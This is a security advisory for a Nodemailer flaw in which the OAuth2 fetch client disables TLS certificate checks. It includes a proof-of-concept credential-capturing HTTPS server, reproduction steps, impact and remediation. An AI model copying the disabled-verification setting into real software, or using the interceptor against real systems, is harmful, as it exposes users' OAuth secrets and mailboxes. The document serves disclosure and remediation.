CVE-2026-82662: Nodemailer before 8.0.8 TLS Certificate Validation Bypass
Summary Nodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.
As a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.
An attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:
- OAuth clientsecret - refreshtoken - access tokens
The issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.
Details Root Cause
The issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.
Inside:
lib/fetch/index.js
the request options contain:
rejectUnauthorized: false
This disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.
As a result:
- self-signed certificates are trusted - invalid CA chains are accepted - hostname validation is bypassed - attacker-controlled HTTPS endpoints are treated as trusted
This violates expected HTTPS security guarantees.
Vulnerable Flow
The vulnerable execution chain is:
OAuth2 Transport ↓ XOAuth2 token generation ↓ Internal HTTPS fetch client ↓ HTTPS request with rejectUnauthorized:false ↓ Attacker-controlled/self-signed endpoint trusted ↓ OAuth credentials transmitted
PoC Environment Mail API (app/server.js) const express = require("express"); const nodemailer = require("nodemailer"); require("dotenv").config();
const app = express();
app.use(express.json());
const transporter = nodemailer.createTransport({ host: process.env.SMTPHOST, port: process.env.SMTPPORT, secure: false, auth: { user: process.env.SMTPUSER, pass: process.env.SMTPPASS } });
app.post("/send", async (req, res) => { try { const { to, subject, text, html } = req.body;
const info = await transporter.sendMail({ from: "Mailer" <${process.env.SMTPUSER}>, to, subject, text, html });
res.json({ success: true, messageId: info.messageId });
} catch (err) { console.error(err); res.status(500).json({ success: false, error: err.message }); } });
app.listen(process.env.PORT, () => { console.log(Mailer running on port ${process.env.PORT}); });
Malicious HTTPS OAuth Server (poc/evil-oauth.js)
const https = require('https'); const fs = require('fs');
https.createServer({ key: fs.readFileSync('./key.pem'), cert: fs.readFileSync('./cert.pem') }, (req, res) => {
console.log('\n==== REQUEST INTERCEPTED ===='); console.log(req.method, req.url);
let body = '';
req.on('data', chunk => { body += chunk; });
req.on('end', () => {
console.log('\nPOST BODY:'); console.log(body);
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ accesstoken: 'attackertoken', expiresin: 3600 })); });
}).listen(8443, () => { console.log('Malicious HTTPS OAuth server listening on 8443'); });
Nodemailer OAuth2 Test (test.js)
const nodemailer = require('./');
const transporter = nodemailer.createTransport({ service: 'gmail',
auth: { type: 'OAuth2',
user: 'redacted@example.com',
clientId: 'CLIENTIDREDACTED', clientSecret: 'CLIENTSECRETREDACTED',
refreshToken: 'REFRESHTOKENREDACTED',
accessUrl: 'https://localhost:8443/token' } });
transporter.sendMail({ from: 'redacted@example.com', to: 'redacted@example.com', subject: 'PoC', text: 'test'
}, (err, info) => {
console.log('\n==== NODEMAILER RESULT ====');
if (err) { console.error(err); } else { console.log(info); } }); Steps to Reproduce
- Start malicious HTTPS OAuth server: - node poc/evil-oauth.js - Run Nodemailer OAuth2 test: - node test.js - Observe intercepted OAuth2 request body on the malicious HTTPS server.
PIC <img width="1919" height="1029" alt="image" src="https://github.com/user-attachments/assets/fdeafeb4-c0c5-49f8-beeb-e7f945be0516" />
Impact
- OAuth credential theft - unauthorized email access - persistent token abuse - unauthorized mail sending - mailbox compromise - interception/tampering of OAuth responses
The issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.
Other sources
Nodemailer before 8.0.8 disables TLS certificate verification in lib/fetch/index.js through rejectUnauthorized: false, allowing attackers to intercept OAuth2 token requests. Attackers in a machine-in-the-middle position can capture OAuth client secrets, refresh tokens, and access tokens transmitted over compromised HTTPS connections.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/nodemailerto a version that resolves this vulnerability.Fixed in 8.0.8 - Upgrade
Upgrade
debian/node-nodemailerto a version that resolves this vulnerability.Fixed in 10.0.14+~8.0.2-1Fixed in 10.6.0+~8.0.2-1 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 8.0.8
Event History
Frequently Asked Questions
Which deployments are realistically exposed to token interception?
Deployments using Nodemailer before 8.0.8 that make OAuth2 token requests are exposed when an attacker can occupy a machine-in-the-middle position on the HTTPS connection. The attacker may capture OAuth client secrets, refresh tokens, and access tokens.
Does exploitation require an authenticated application user or user interaction?
No. The vector is network-based, with no privileges or user interaction required, but exploitation has high attack complexity because the attacker must be able to intercept the affected HTTPS traffic.
What is the immediate remediation?
Upgrade Nodemailer to version 8.0.8 or later, where the affected pre-8.0.8 behavior is no longer present.